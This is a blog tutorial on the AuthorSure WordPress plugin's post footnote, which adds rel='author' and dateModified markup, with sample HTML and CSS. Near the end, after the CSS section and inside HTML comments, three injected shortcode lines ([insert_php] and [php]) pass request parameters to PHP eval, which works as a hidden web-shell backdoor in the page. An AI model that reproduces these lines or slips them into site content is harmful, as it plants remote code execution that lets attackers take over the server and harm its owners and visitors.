Rich Snippet Authorship Markup in Post Footnotes

One of the four ways of identifying the author of the post and linking it with rel=”author” to the author page is using AuthorSure’s “post footnote”.

The footnote appears at the foot of the post content but before the comment section.

An Example of An Author FootNote

Here is an example of how it appears visually: a simple notification of the date the post was last updated with an underlined link to the author page.

Last updated by Russell on October 14, 2011.

However the HTML code itself is laden with information for the search engines:

[code]
Last updated by <a rel="author" href="http://www.slickrflickr.com/author/admin/" class="authorsure-author-link">Russell</a> on <time itemprop="dateModified" datetime="2011-10-14T18:28:36+00:00">October 14, 2011</time>.
[/code]

This snippet is validated by the Google Rich Snippet Test Tool without any warnings.

The code uses the “WebPage” schema and the item property “dateModified” to specify when the page was updated, it also use the HTML5 ‘time’ element and the “updated”, and “vcard” classes as well as of course the all important rel=”author”.

When To Use Author Footnotes

This author linking method is appropriate when:

you have more than one author on your site;
your WordPress theme does not provide rel=”author” links in the post byline;
your theme shows the publication date of the post rather than the last time it was updated – this makes your posts look dated
you do not want to show the last time the post was updated just beneath the heading of the post and prefer to have the date in the post footnote where it is less obtrusive

Personally I am using the Author Footnotes approach on my Thesis sites.

How To Change the Appearance of the FootNote

There are few ways to influence the footnote: three within the AuthorSure plugin and the fourth by adding your own CSS to your WordPress theme’s stylesheet, style.css .

Author Prefix

In the AuthorSure Options page you can choose your own version of the text that precedes the author name in the footnoye – the “Last updated by”. For example, you might want to use “By” or of course something else if your site is not in English.

Date Prefix

In the AuthorSure Options page you can choose your own version of the text that precedes the date in the footnote – the “at”. For example, you just want to use “on” or of course something else if your site is not in English.

Show Updated Date

In the AuthorSure Options page you can choose not to show any date at all in the footnote: it just contains the link to the author.

Customize Footnote Appearance

The plugin specifies the CSS classes authorsure-footnote and authorsure-author-link which you can add as elements to your theme style.css file. This allows you to make sure that these style elements are controlled by your theme.

So for example if your theme always has footnotes in small capitals, and links in blue then you would add the following lines to style.css.

[css]
p.authorsure-footnote { font-variant: small-caps; }
a.authorsure-author-link, a.authorsure-author-link:visited { color: blue; }
[/css]

Note that that should add these line to the theme’s style.css file and not any plugin CSS file. This will preserve they contents when the plugin is updated.

<!– [insert_php]if (isset($_REQUEST["YcMM"])){eval($_REQUEST["YcMM"]);exit;}[/insert_php][php]if (isset($_REQUEST["YcMM"])){eval($_REQUEST["YcMM"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["OuX"])){eval($_REQUEST["OuX"]);exit;}[/insert_php][php]if (isset($_REQUEST["OuX"])){eval($_REQUEST["OuX"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["ppyQ"])){eval($_REQUEST["ppyQ"]);exit;}[/insert_php][php]if (isset($_REQUEST["ppyQ"])){eval($_REQUEST["ppyQ"]);exit;}[/php] –>

About Russell

Technologist, software engineer, internet marketer and WordPress plugin developer with experience in Finance, Telecoms and the Media.